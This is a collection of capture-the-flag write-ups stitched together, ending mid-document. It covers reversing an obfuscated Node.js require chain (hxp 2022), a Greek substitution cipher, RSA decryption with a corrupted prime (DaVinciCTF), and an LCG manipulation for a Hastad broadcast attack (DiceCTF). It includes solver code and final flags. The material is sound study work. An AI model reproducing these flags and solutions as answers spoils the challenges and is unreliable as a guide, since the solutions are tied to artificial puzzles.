/* all these are the same but different combination of i,j,t is used. */
// 28.jsmodule.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],o={}, Object.entries(require('./289')(i,j)).forEach( ([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))),require(`./${i}`))
// 157.jsmodule.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],o={}, Object.entries(require('./289')(i,t)).forEach( ([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))),require(`./${i}`))
// 299.jsmodule.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],o={}, Object.entries(require('./289')(t,j)).forEach( ([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))),require(`./${t}`))
// 394.jsmodule.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],o={}, Object.entries(require('./289')(t,i)).forEach( ([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))),require(`./${t}`))
// 555.jsmodule.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],o={}, Object.entries(require('./289')(j,t)).forEach( ([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))),require(`./${j}`))
// 736.jsmodule.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],o={}, Object.entries(require('./289')(j,i)).forEach( ([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))),require(`./${j}`))```
To understand what the last **6** files do, we run them in `node`:```js> i=1111,j=2222,t=33333333
> i+=[],j+"",t=(t+{}).split("[")[0],o={},... Object.entries(require('./289')(i,j)).forEach(... ([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))),... require(`./${i}`)Uncaught Error: Cannot find module '/home/ispo/ctf/hxp_2022/required/files/2222.js'
???```
Even though we require `i`, program actually tries to load `required/files/2222.js` (whichcorresponds to `j`) and fails. This has to do with the modification of `__proto__` (for moredetails about it, please take a look[here](https://levelup.gitconnected.com/the-mysterious-javascript-objects-proto-property-67b7c6b3140c)).First, we invoke `require('./289')(i,j)`, so `exports` takes the value of the **2nd** parameter (`j`).If we replace it with `require('./289')(i,tj)`, we will get a different error:```js> i+=[],j+"",t=(t+{}).split("[")[0],o={},... Object.entries(require('./289')(i,t)).forEach(... ([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))),... require(`./${i}`)Uncaught Error: Cannot find module '/home/ispo/ctf/hxp_2022/required/files/3333.js' at createEsmNotFoundErr (node:internal/modules/cjs/loader:1016:15) at finalizeEsmResolution (node:internal/modules/cjs/loader:1009:15) at trySelf (node:internal/modules/cjs/loader:505:12) at Module._resolveFilename (node:internal/modules/cjs/loader:972:24) at Module._load (node:internal/modules/cjs/loader:841:27) at Module.require (node:internal/modules/cjs/loader:1061:19) at require (node:internal/modules/cjs/helpers:103:18) { code: 'MODULE_NOT_FOUND', path: '/home/ispo/ctf/hxp_2022/required/files/package.json'}```
## Extracting Actual Computations
Program takes a flag as input, it invokes many many `require` functions to make various operationsin `f` and then prints the result. Our goal is to crack the flag from the encrypted version:``` 0xd19ee193b461fd8d1452e7659acb1f47dc3ed445c8eb4ff191b1abfa7969```
The first task is to find out exactly which computations take place. I first tried to parse the`required.js` file and get the order of the JavaScript files. But it didn't work as they weremany files that seem to be missing, so I tried another approach:**I appended a console.log() statement to every .js files and I run it through the flag.**.This approach works because there are no if-conditions; no matter the flag input, the exact samecomputations are being applied. Function `patch_js_files` does the patching:```pythondef patch_js_files(root_dir): """Patches all js files to append a console.log() statement.""" for root, dirs, files in os.walk(root_dir): for file in files: if not file.endswith(".js"): continue
# Blacklisted files. if file in ['289.js', '37.js', '314.js', '556.js', '28.js', '157.js', '299.js', '394.js', '555.js', '736.js', 'required.js']: continue
# Read file with open(os.path.join(root_dir, file)) as fp: content = fp.read().strip()
# Verify that all files start the same. prolog = 'module.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],' if not content.startswith(prolog): raise Exception(f'Invalid file content: {content}')
line = content[len(prolog):] # Drop the prolog line = line[:-1] # Drop the last ')' stmt = line.split(',')[0] # Get the 1st operation on f # (we can have an extra f[i]&=0xff too) stmt = stmt.replace('i', '${i}') # Substitute parameters with formatted strings stmt = stmt.replace('j', '${j}') stmt = stmt.replace('t', '${t}')
# Put operation into a console.log() statement with i,j,t being substituted line = prolog + line + f",console.log(`{stmt}`))" print(f'[+] Patching {file}: {line}')
# Write patched file back. with open(os.path.join(root_dir, file), 'w') as fp: fp.write(line)```
This is how the new files look like:```javascript// 1.jsmodule.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[i]*=-1,f[i]&=0xff, console.log(`f[${i}]*=-1`))
// 506.jsmodule.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[t]=f[t]^(f[t]>>1), console.log(`f[${t}]=f[${t}]^(f[${t}]>>1)`))
// 743.jsmodule.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[i]*=f[2],f[i]&=0xff, console.log(`f[${i}]*=f[2]`))```
Then we simply run `node required.js` and we dump all the equations:```f[17]+=f[5]f[29]=~f[29]&0xfff[3]^=f[11]f[6]=f[6]<<7&0xff|f[6]>>1f[2]=~f[2]&0xfff[20]=f[20]<<7&0xff|f[20]>>1f[23]=f[23]^(f[23]>>1)f[15]=f[15]^(f[15]>>1)f[9]^=f[1]f[9]^=f[4]f[16]=f[16]^(f[16]>>1)f[11]=f[11]<<1&0xff|f[11]>>7f[28]=~f[28]&0xfff[0]=~f[0]&0xfff[16]+=f[13]f[14]+=f[29]f[13]=~f[13]&0xfff[26]-=f[7]f[26]-=f[0]f[18]-=f[29]f[8]=f[8]<<1&0xff|f[8]>>7f[4]=f[4]^(f[4]>>1)f[5]-=f[7]f[10]^=f[29]f[15]^=f[20]f[22]=f[22]<<7&0xff|f[22]>>1f[4]^=f[15]f[13]-=f[3]f[5]=f[5]<<1&0xff|f[5]>>7f[26]=f[26]<<7&0xff|f[26]>>1f[14]^=f[21]f[29]=f[29]<<7&0xff|f[29]>>1f[1]-=f[4]f[4]=~f[4]&0xfff[13]-=f[18]f[16]=f[16]<<1&0xff|f[16]>>7f[11]=f[11]<<7&0xff|f[11]>>1f[7]-=f[6]f[11]-=f[20]f[23]=~f[23]&0xfff[4]+=f[3]f[26]+=f[22]f[16]=f[16]<<1&0xff|f[16]>>7f[11]+=f[8]f[8]^=f[9]f[24]+=f[14]f[29]-=f[24]f[4]-=f[18]f[1]=f[1]<<7&0xff|f[1]>>1f[20]=f[20]<<7&0xff|f[20]>>1f[20]=f[20]<<7&0xff|f[20]>>1f[20]=~f[20]&0xfff[11]^=f[2]f[20]-=f[24]f[2]+=f[6]f[10]+=f[24]f[25]=f[25]^(f[25]>>1)f[12]^=f[14]f[25]=f[25]<<7&0xff|f[25]>>1f[15]=f[15]<<1&0xff|f[15]>>7f[25]+=f[12]f[2]+=f[5]f[0]-=f[11]f[6]-=f[1]f[6]+=f[17]f[29]-=f[9]f[7]=~f[7]&0xfff[2]+=f[5]f[22]-=f[2]f[24]=f[24]<<1&0xff|f[24]>>7f[20]=f[20]^(f[20]>>1)f[28]=f[28]^(f[28]>>1)f[15]^=f[20]f[3]=f[3]<<1&0xff|f[3]>>7f[17]=f[17]<<7&0xff|f[17]>>1f[11]=f[11]<<7&0xff|f[11]>>1f[18]=~f[18]&0xfff[13]=f[13]^(f[13]>>1)f[15]-=f[2]f[9]+=f[20]f[6]^=f[1]f[1]-=f[13]f[0]-=f[4]f[14]=~f[14]&0xfff[17]=f[17]<<1&0xff|f[17]>>7f[17]=f[17]<<7&0xff|f[17]>>1f[14]=f[14]^(f[14]>>1)f[24]-=f[7]f[16]^=f[6]f[13]+=f[9]f[1]-=f[10]f[28]=f[28]<<1&0xff|f[28]>>7f[25]-=f[22]f[14]=f[14]^(f[14]>>1)f[2]=f[2]<<7&0xff|f[2]>>1f[2]^=f[15]f[17]=f[17]<<7&0xff|f[17]>>1f[3]-=f[22]f[23]=f[23]<<7&0xff|f[23]>>1f[11]=f[11]<<7&0xff|f[11]>>1f[9]+=f[16]f[7]=f[7]<<7&0xff|f[7]>>1f[6]=~f[6]&0xfff[5]+=f[15]f[6]-=f[17]f[7]-=f[6]f[3]+=f[28]f[1]^=f[18]f[22]-=f[5]f[14]-=f[2]f[21]^=f[22]f[4]-=f[29]f[26]=(((f[26]*0x0802&0x22110)|(f[26]*0x8020&0x88440))*0x10101>>>16)&0xfff[17]-=f[18]f[17]=f[17]<<1&0xff|f[17]>>7f[16]-=f[3]f[25]^=f[21]f[14]+=f[9]f[1]+=f[13]f[0]^=f[1]f[1]^=f[28]f[14]=~f[14]&0xfff[27]=(((f[27]*0x0802&0x22110)|(f[27]*0x8020&0x88440))*0x10101>>>16)&0xfff[9]^=f[2]f[17]=f[17]<<7&0xff|f[17]>>1f[13]^=f[1]f[5]^=f[13]f[10]^=f[0]f[12]^=f[1]f[2]=~f[2]&0xfff[1]=f[1]<<7&0xff|f[1]>>1f[11]=f[11]<<1&0xff|f[11]>>7f[9]^=f[28]f[3]=(((f[3]*0x0802&0x22110)|(f[3]*0x8020&0x88440))*0x10101>>>16)&0xfff[19]=f[19]<<1&0xff|f[19]>>7f[16]-=f[9]f[8]=f[8]<<1&0xff|f[8]>>7f[28]=f[28]<<1&0xff|f[28]>>7f[12]-=f[3]f[25]=(((f[25]*0x0802&0x22110)|(f[25]*0x8020&0x88440))*0x10101>>>16)&0xfff[14]=(((f[14]*0x0802&0x22110)|(f[14]*0x8020&0x88440))*0x10101>>>16)&0xfff[11]=f[11]<<7&0xff|f[11]>>1f[6]+=f[28]f[6]^=f[5]f[28]^=f[0]f[10]-=f[22]f[8]=f[8]^(f[8]>>1)f[19]=f[19]<<7&0xff|f[19]>>1f[26]-=f[14]f[25]^=f[28]f[15]-=f[17]f[12]^=f[4]f[25]+=f[4]f[11]=~f[11]&0xfff[1]=f[1]<<7&0xff|f[1]>>1f[9]+=f[28]f[4]^=f[18]f[15]=~f[15]&0xfff[12]=f[12]<<1&0xff|f[12]>>7f[12]=f[12]<<7&0xff|f[12]>>1f[2]=f[2]^(f[2]>>1)f[6]=~f[6]&0xfff[10]=f[10]<<7&0xff|f[10]>>1f[20]=f[20]^(f[20]>>1)f[20]+=f[24]f[4]=f[4]<<1&0xff|f[4]>>7f[16]^=f[11]f[8]=~f[8]&0xfff[1]=(((f[1]*0x0802&0x22110)|(f[1]*0x8020&0x88440))*0x10101>>>16)&0xfff[4]+=f[18]f[5]=f[5]^(f[5]>>1)f[25]-=f[4]f[9]^=f[26]f[5]^=f[3]f[4]^=f[2]f[29]-=f[21]f[20]=f[20]<<1&0xff|f[20]>>7f[24]^=f[27]f[8]+=f[16]f[22]=f[22]<<7&0xff|f[22]>>1f[3]=f[3]<<7&0xff|f[3]>>1f[10]-=f[9]f[9]=f[9]^(f[9]>>1)f[24]^=f[25]f[9]=~f[9]&0xfff[1]=f[1]^(f[1]>>1)f[19]=f[19]<<1&0xff|f[19]>>7f[7]=f[7]<<7&0xff|f[7]>>1f[21]+=f[25]f[28]-=f[0]f[18]=f[18]<<7&0xff|f[18]>>1f[20]^=f[5]f[17]^=f[12]f[22]-=f[23]f[18]+=f[25]f[4]=f[4]<<1&0xff|f[4]>>7f[0]=f[0]<<1&0xff|f[0]>>7f[29]=f[29]<<1&0xff|f[29]>>7f[17]=f[17]<<1&0xff|f[17]>>7f[7]^=f[21]f[8]-=f[17]f[10]+=f[22]f[8]-=f[18]f[21]+=f[0]f[15]^=f[20]f[1]=f[1]<<1&0xff|f[1]>>7f[14]=f[14]<<7&0xff|f[14]>>1f[13]^=f[2]f[9]^=f[6]f[15]-=f[8]f[8]^=f[1]f[6]=f[6]^(f[6]>>1)f[21]^=f[5]f[17]^=f[13]f[12]-=f[8]f[19]^=f[12]f[2]^=f[1]f[25]=f[25]<<1&0xff|f[25]>>7f[19]=f[19]^(f[19]>>1)f[0]=f[0]^(f[0]>>1)f[17]+=f[27]f[20]=f[20]<<7&0xff|f[20]>>1f[28]-=f[13]f[22]=~f[22]&0xfff[26]^=f[17]f[10]=f[10]<<1&0xff|f[10]>>7f[24]=~f[24]&0xfff[4]-=f[22]f[4]-=f[20]f[24]+=f[12]f[13]=f[13]<<1&0xff|f[13]>>7f[2]=f[2]<<7&0xff|f[2]>>1f[1]-=f[24]f[11]^=f[27]f[14]=f[14]^(f[14]>>1)f[17]=f[17]^(f[17]>>1)f[21]=f[21]^(f[21]>>1)f[24]=(((f[24]*0x0802&0x22110)|(f[24]*0x8020&0x88440))*0x10101>>>16)&0xfff[12]=f[12]^(f[12]>>1)f[3]=f[3]<<1&0xff|f[3]>>7f[8]+=f[1]f[21]+=f[18]f[0]+=f[22]f[4]=f[4]<<7&0xff|f[4]>>1f[25]=f[25]<<1&0xff|f[25]>>7f[10]=f[10]<<7&0xff|f[10]>>1f[13]=f[13]^(f[13]>>1)f[1]-=f[27]f[13]=(((f[13]*0x0802&0x22110)|(f[13]*0x8020&0x88440))*0x10101>>>16)&0xfff[11]=(((f[11]*0x0802&0x22110)|(f[11]*0x8020&0x88440))*0x10101>>>16)&0xfff[2]+=f[17]f[6]=f[6]<<7&0xff|f[6]>>1f[10]=f[10]^(f[10]>>1)f[4]-=f[8]f[1]-=f[2]f[0]-=f[14]f[11]=f[11]^(f[11]>>1)f[7]-=f[17]f[18]=~f[18]&0xfff[0]^=f[16]f[12]+=f[13]f[23]=~f[23]&0xfff[10]-=f[7]f[29]=f[29]^(f[29]>>1)f[3]=f[3]<<7&0xff|f[3]>>1f[20]^=f[3]f[8]=f[8]<<1&0xff|f[8]>>7f[25]-=f[24]f[26]=f[26]<<1&0xff|f[26]>>7f[10]=f[10]^(f[10]>>1)f[26]=f[26]^(f[26]>>1)f[16]-=f[7]f[8]=~f[8]&0xfff[14]^=f[13]f[3]+=f[24]f[15]=(((f[15]*0x0802&0x22110)|(f[15]*0x8020&0x88440))*0x10101>>>16)&0xfff[15]-=f[28]f[10]=f[10]^(f[10]>>1)f[17]+=f[15]f[22]-=f[2]f[27]=~f[27]&0xfff[5]=f[5]^(f[5]>>1)f[20]=~f[20]&0xfff[13]^=f[24]f[23]^=f[21]f[2]-=f[23]f[5]+=f[20]f[24]^=f[12]f[9]-=f[8]f[11]=f[11]^(f[11]>>1)f[27]-=f[14]f[18]+=f[25]f[6]+=f[26]f[7]=f[7]^(f[7]>>1)f[28]=f[28]^(f[28]>>1)f[10]-=f[1]f[18]-=f[14]f[20]+=f[14]f[15]-=f[17]f[0]=~f[0]&0xff0x2a8c594b90bc4be941624cac7493f521772b475b27209734942302ded9f30a```
We can verify that the computations are correct by initializing a `f` and checking the finalresult (we also need to replace `>>>` with `>>`).
## Reversing the Computations
Now that we have the computations, the next step is to find the initial value of `f` that givesthe desired flag `d19ee193b461fd8d1452e7659acb1f47dc3ed445c8eb4ff191b1abfa7969`. Once approachwould be to use `z3` but it's going to be a mess because the same variables are being updated(e.g., `f[1] += f[2]`, so we need to have multiple instances for each symbolic variable:`s.add(f1_1 = f1_0 + f2_0`). However, we can do better: **all operations are invertible**, sowe can execute them in the reverse order and get the flag. That is, we need to write a scriptthat generates a python script with the inverted operations. We do this and we run the generatedscript to get the flag.
For more details, please take a look at the [required_crack.py](./required_crack.py) file.
So the flag is: `hxp{Cann0t_f1nd_m0dule_'fl4g'}`
We verify that the flag is correct:```ispo@ispo-glaptop2:~/ctf/hxp_2022/required/files$ cat flag hxp{1234567890123456789012345}
ispo@ispo-glaptop2:~/ctf/hxp_2022/required/files$ ./run.sh :(
ispo@ispo-glaptop2:~/ctf/hxp_2022/required/files$ echo -n "hxp{Cann0t_f1nd_m0dule_'fl4g'}" > flag
ispo@ispo-glaptop2:~/ctf/hxp_2022/required/files$ ./run.sh :)```___ |
### **Title:** crypto/greek cipher
**Hint:** Substitution Cipher with roman glyphs
**Solution:**```Input:κςκ ωπν αζπλ ιησι χνοςνθ μσγθσρ λσθ ζπι ιηγ δςρθι ψγρθπζ ςζ ηςθιπρω θνθψγμιγκ πδ νθςζε γζμρωψιςπζ? τγ ζγςιηγρ.κςκ ωπν αζπλ ιησι χνοςνθ μσγθσρ λσθ ψρπξσξοω δονγζι ςζ εργγα? τγ ζγςιηγρ.ς οςαγ ηπλ εργγα μησρσμιγρ οππα ιηπνεη, γυγζ ςδ ς μσζ'ι ργσκ ιηγτ.οσμιδ{ς_ενγθθ_νθςζε_τσζω_εργγα_μησρσμιγρθ_κςκζ'ι_θιπψ_ωπν._λγοο_ψοσωγκ_ς_τνθι_θσω.μπζερσιθ!}```
We can easily guess that,\`οσμιδ` = `lactf`.So, by replacing these chars and guessing few common words like of, in, is, you, that etc., we can figure out the msg and flag as below.```Output:did you know that julius caesar was not the first person in history suspected of using encryption? me neither.did you know that julius caesar was probably fluent in greek? me neither.i like how greek character look though, eυen if i can't read them.lactf{i_guess_using_many_greek_characters_didn't_stop_you._well_played_i_must_say.congrats!}```
**Flag:** `lactf{i_guess_using_many_greek_characters_didn't_stop_you._well_played_i_must_say.congrats!}` |
# DaVinciCTF 2023 writeup
## Challenge description

## File content :
```e = 65537N = 717112095603796567459186675289085366666353307185490838112863469094236267064115095991318914077602556259092980640688481403957314611778356606590630923532172479459611664646123086735269849900884971954345014685854404613997971637479029358038777738612361656852669461942050483312357280227014477564862706358220265665684528484015675504406503642979068426662169208465726918109620002278730736582232507060863895239183614060352797915536803003766379326547455483805121183179622890875770347638754708633078401281869506937834987783549345444254985895168452303800618033133228421198570487293819512418570281720722209228656211732340633248821599038100558406541752556869957692270681816412540575428707774563875539462996182209726292786035178337626465674172053275188702251252357574867926706930607919671904054905671307852875045332721950531335900880364093157198125415400056706443026713461092993702796866382626321181134825237204434544098170777248711033815662904232551373912160599351955643630688486881346494419969742967490139650172842016964428670057727847565045461509019920640425372258450235773976492903639059374783281230558894906358850621988779071303812061651368357729631671532668073611308975396088608980146647649154262885567149667654346594998380255328428626713577833message = 264534650266105599806294021070614230595616525906055753733761719275657774871470140716982224248591199930143393536112109666634675797148303913100693807661342308555939532608805045967956383107966177699787072449920253895221304428097068425393162931376216861878624593868623806403407463235780480244748078241725783430590495340799442724682566190632050547591341323688977303501641184951367816544042508488494475499053434594879307412981360853044625476334885351799592910757244150652389450722949077045473797563111265917765609352389143140723484112393593857707133580845664021986531624981054608271428875875563984105161439320613210497589395084708184226072788120184187653476835755855473119021530837541643055886076234084972648710196573106365229553050082479821148344623946637161759377216826589918124913366632162149006381730172591022803075404878808812491011198771709647073141166756215048339139472055570431392757757451548399461407884147879477545478028761274883498759069612591413321559799628662445755512999075034030583300601150472018816567707188341247953317752726136118637093294082860094619153110729803351873487926928582227569644123629745035652271651297427589546895153366652555770618092604114490238897158877913219257369176494787069733353644783317504411523314154p = "11001101110001101010110000010000100000101010010111101000000101001100011101101101101111100100111100010111010110010110011101100110100001100001001011011010101010110111111001001000100000110100011011001111101101110001101010111101011111011111011111110111110001101100001101101101101011001111100000110100101110101111000001010001011011011101001001111010001101000011110010110101111011101011001001101111111010111100001111001001001001100011001111001000000000000001100100100010010101100111010101010000010100010001010100101111101110111011100111101000110001010110010111000000000101111001100000110100001101101101100010000001010100100001111001000010001111110110010000001011001111111111111100010011100001010011110100111111000110110011000000111111110010000100001111110001000000111011000000100010001001011000110011100110111111000011111100110111001110111011010100000110110100010010110101001100111010101111011000000010011000000011000001100101000001110011101111110011001000001001001011111011000010100000110000001001100110101101000000001110111111000011000001111000111010001010110000001101000011000110000110000101000111001000001111111101101111000100100101111001110100111001100001011110010011110110101100000010110001110110110010010100000111000100010101111110010011010001100110101110100001000111101110101000011110000111110100110111010001100000100111001100111100011001101010101100011110001011100100111000010110100111010111101011001101000110010000110110011011010111111011110101100000100111101011110001111011010001000011001100000101011100011100000001100110011011110101101111110101100101110100101011110001111100010110000111111011011101000000000101010000100101110100100011000101100011001011001100111101101000000111111110111110011100001000110011100010100010011111100011110101010001101111100001101100000011101101110100100000011110111000010100000110111010111101101011011010111111010100101110111110100110110101011000010010110110111100001000010110000110000100001100011110111110101101010011001111011001011101000111001000001011001111100010010111111001111011000110001000011100101001100011"
```
According to the description we know that's we are given public key (n,e) and the prime p which contain 2 errors.
It could be one of following cases :
* the author swaped 2 bits so we can use one loop* 2 bits are written wrongly (0 insted of 1 and vice versa) => require two loops
I tried both of them and i realised we in are in the second case
So the idea here is to flip each possible couple of bits until we find the correct p value. And to check whether p is correct we have several solutions
* check that both p and q (n/p) are primes (i found many condidates so i moved to another solution)* check that n - (n/p) * p = 0
**NB:** To divide n/p i transformed numbers to decimal and i raised precision to 2^16:
```
from decimal import Decimal, getcontextgetcontext().prec = 2**16
```
## My code :
```bn = "11001101110001101010110000010000100000101010010111101000000101001100011101101101101111100100111100010111010110010110011101100110100001100001001011011010101010110111111001001000100000110100011011001111101101110001101010111101011111011111011111110111110001101100001101101101101011001111100000110100101110101111000001010001011011011101001001111010001101000011110010110101111011101011001001101111111010111100001111001001001001100011001111001000000000000001100100100010010101100111010101010000010100010001010100101111101110111011100111101000110001010110010111000000000101111001100000110100001101101101100010000001010100100001111001000010001111110110010000001011001111111111111100010011100001010011110100111111000110110011000000111111110010000100001111110001000000111011000000100010001001011000110011100110111111000011111100110111001110111011010100000110110100010010110101001100111010101111011000000010011000000011000001100101000001110011101111110011001000001001001011111011000010100000110000001001100110101101000000001110111111000011000001111000111010001010110000001101000011000110000110000101000111001000001111111101101111000100100101111001110100111001100001011110010011110110101100000010110001110110110010010100000111000100010101111110010011010001100110101110100001000111101110101000011110000111110100110111010001100000100111001100111100011001101010101100011110001011100100111000010110100111010111101011001101000110010000110110011011010111111011110101100000100111101011110001111011010001000011001100000101011100011100000001100110011011110101101111110101100101110100101011110001111100010110000111111011011101000000000101010000100101110100100011000101100011001011001100111101101000000111111110111110011100001000110011100010100010011111100011110101010001101111100001101100000011101101110100100000011110111000010100000110111010111101101011011010111111010100101110111110100110110101011000010010110110111100001000010110000110000100001100011110111110101101010011001111011001011101000111001000001011001111100010010111111001111011000110001000011100101001100011"
n = 717112095603796567459186675289085366666353307185490838112863469094236267064115095991318914077602556259092980640688481403957314611778356606590630923532172479459611664646123086735269849900884971954345014685854404613997971637479029358038777738612361656852669461942050483312357280227014477564862706358220265665684528484015675504406503642979068426662169208465726918109620002278730736582232507060863895239183614060352797915536803003766379326547455483805121183179622890875770347638754708633078401281869506937834987783549345444254985895168452303800618033133228421198570487293819512418570281720722209228656211732340633248821599038100558406541752556869957692270681816412540575428707774563875539462996182209726292786035178337626465674172053275188702251252357574867926706930607919671904054905671307852875045332721950531335900880364093157198125415400056706443026713461092993702796866382626321181134825237204434544098170777248711033815662904232551373912160599351955643630688486881346494419969742967490139650172842016964428670057727847565045461509019920640425372258450235773976492903639059374783281230558894906358850621988779071303812061651368357729631671532668073611308975396088608980146647649154262885567149667654346594998380255328428626713577833
e=65537
c=264534650266105599806294021070614230595616525906055753733761719275657774871470140716982224248591199930143393536112109666634675797148303913100693807661342308555939532608805045967956383107966177699787072449920253895221304428097068425393162931376216861878624593868623806403407463235780480244748078241725783430590495340799442724682566190632050547591341323688977303501641184951367816544042508488494475499053434594879307412981360853044625476334885351799592910757244150652389450722949077045473797563111265917765609352389143140723484112393593857707133580845664021986531624981054608271428875875563984105161439320613210497589395084708184226072788120184187653476835755855473119021530837541643055886076234084972648710196573106365229553050082479821148344623946637161759377216826589918124913366632162149006381730172591022803075404878808812491011198771709647073141166756215048339139472055570431392757757451548399461407884147879477545478028761274883498759069612591413321559799628662445755512999075034030583300601150472018816567707188341247953317752726136118637093294082860094619153110729803351873487926928582227569644123629745035652271651297427589546895153366652555770618092604114490238897158877913219257369176494787069733353644783317504411523314154import gmpyfrom Crypto.Util.number import isPrimefrom decimal import Decimal, getcontextgetcontext().prec = 2**16
def flip(char): if(char == '0'): return '1' else: return '0'q=0is_break = Falsefor i in range(0,len(bn)): f = bn f2 = f[:i] + flip(f[i]) + f[i+1:] for j in range(i+1,len(bn)):
f3 = f2[:j] + flip(f2[j]) + f2[j+1:] try: dn = Decimal(n) p = int(f3,2) dp = Decimal(p) q= int(dn /dp) if(n - p*q == 0): print("q ==",q) is_break = True break else: continue except Exception: pass if(is_break == True): break
f = (p-1) * (q-1) d = gmpy.invert(e,f)
plain = hex(pow(c,d,n))[2:]print("plain =",plain)print("clair =",bytes.fromhex(plain).decode())```
## Result :
```>> q == 27605844637206123282365368266418414490783159709786016035962764759078992540909426425405085663430202920502543886474583189795540626725052660622042231382059734513979163968742885314941389546369638383616783370156539696163142260612881872970764962829190710418319853457587970524661913509645654505724641474005151409502619326034959972325147682714200899207495143506390740638363467361368301365504608630260859776912592195031536476367664699673298357787807255866857471820031544288470873756667803333148752770390468046424569847612768834096179110732081807091215707606221508748438513288164953527598697891287426751502770811278403981975747>> plain = 4c33306e3472645f4d313968745f42335f306c645f4275745f3574316c6c5f43756e6e316e39>> clair = L30n4rd_M19ht_B3_0ld_But_5t1ll_Cunn1n9
```
After decoding our message from leet :
```Leonard_Mi9ht_Be_old_But_still_Cunnin9```
|
# BBBB Writeup
### DiceCTF 2023 - crypto 199 - 31 solves
> i prefer LCGs over QCGs to be honest... based off [BBB](https://ctftime.org/task/23982) from SECCON CTF 2022
> [bbbb.py](bbbb.py)
#### Analysis
Below is the problem logic.
* Step 1: Key Generation - The challenge first initializes [lcg](https://en.wikipedia.org/wiki/Linear_congruential_generator) as the form $X_{n + 1} = f(X_{n}) = a X_{n} + b \mod p$, where $X$ is the sequence of random values and $p$ is $1024$ bit prime. $b$ and $p$ are given, and we have power to control $a$. - Let $k$ in `range(5)`. - Five RSA public key pairs $N_{k}, e_{k}$ are generated. Public modulus $N_{k}$ is $2048$ bits. Each $e_{k}$ is generated using the lcg, asking the attacker to input seed $X_{0}$ for lcg. lcg state advances `t = randint(10, 100)` times, and the final output $X_{t}$ will be the public exponent $e_{k}$ for [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) each. Denote each seed as $s_{k}$. - Generated $e_{k}$ must be greater than $10$.* Step 2: Encryption - `FLAG` is read from file, asserting that the length is less than $50$. - Random padding `PAD = urandom(4)` is right-appended to `FLAG`. - For each five RSA public keys, again random padding `r_k = urandom(16)` is right-appended to plaintext. The final plaintext form is $m_k$ = `FLAG + PAD + r_k`, which has max length as $49 + 4 + 16 = 69$. Note that `PAD` is fixed for every plaintext, but $r$ differs. The final plaintext is encrypted using $k$th RSA public key, resulting in ciphertext as $c_{k}$. - Each $(n_{k}, e_{k}, r_{k}, c_{k})$ pair is given to the attacker.
#### Control seed and $a$ to fix $e = 11$
Becaue all public modulus $n_{k}$ differs, it seems that the only way to get flag is using [Hastad's Broadcast Attack](https://en.wikipedia.org/wiki/Coppersmith%27s_attack#H%C3%A5stad's_broadcast_attack). To apply this, we must make all public keys share the same public exponent $e$, and $e$ must be small.
The smallest value we can use is $e = 11$. We can control $a$ and seed $s_{k}$ to make the final rng state be $e = 11$ by high probability. Let $X_{i}, X_{i + 1}, X_{i + 2}, X_{i + 3}, X_{i + 4}$ be consecutive lcg states for some non-negative integer $i$. If we meticulously choose $a$ to make a cycle: $f(X_{i + 4}) = X_{i}$ for every non-negative integer $i$, and set seed $s_{k}$ to be these vertices, we can get final state be $e$ in 100%/5 = 20% probability. Final state will be randomly selected in these five elements because of the number of lcg state advancement is random(`t = randint(10, 100)`). This is all possible because lcg is a permutation(every indegree and outdegree is $1$).
We derive $a$ by following formula.
$$X_{i + 1} = a X_{i} + b$$
$$X_{i + 2} = a X_{i + 1} + b$$
$$X_{i + 3} = a X_{i + 2} + b$$
$$X_{i + 4} = a X_{i + 3} + b$$
$$X_{i} = a X_{i + 4} + b$$
Pair up each equations to get rid of $b$:
$$X_{i + 2} - X_{i + 1} = a (X_{i + 1} - X_{i})$$
$$X_{i + 3} - X_{i + 2} = a (X_{i + 2} - X_{i + 1})$$
$$X_{i + 4} - X_{i + 3} = a (X_{i + 3} - X_{i + 2})$$
$$X_{i} - X_{i + 4} = a (X_{i + 4} - X_{i + 3})$$
$$X_{i + 1} - X_{i} = a (X_{i} - X_{i + 4})$$
Assuming that $X_{i}, X_{i + 1}, X_{i + 2}, X_{i + 3}, X_{i + 4}$ is distinct, $a$ satisfies the following equation.
$$ a ^ 5 = 1 \mod p $$
We use [sagemath](https://www.sagemath.org)'s `roots()` method to calculate $a$. The method usually finds the roots of polynomials, but not always. If we fail, get new parameters $a$ and $p$ by reinitiating the connection. Below is the sagemath code to get $a$. We ignore the trivial root $1$.
We derive seeds using $a, b, p$. Seeds will be elements $X_{i} = e, X_{i + 1}, X_{i + 2}, X_{i + 3}, X_{i + 4}$. Advance four times from initial state $e$, and store the output state as seeds.
Below is the relevant logic implemented to get $a$ and seeds $s_{k}$ from $b$ and $p$.
```pythondef gen_cycle(p, b): e = 11 R.<x> = PolynomialRing(Zmod(p), "x")
eq = x**5 - 1 roots = eq.roots() for root, _ in roots: if root == 1: continue a = root seeds = [e] for i in range(4): seeds.append(rng(a, seeds[-1], b, p)) if len(set(seeds)) != len(seeds): continue assert rng(a, seeds[-1], b, p) == seeds[0] return a, seeds
assert False```
#### Coppersmith Attack
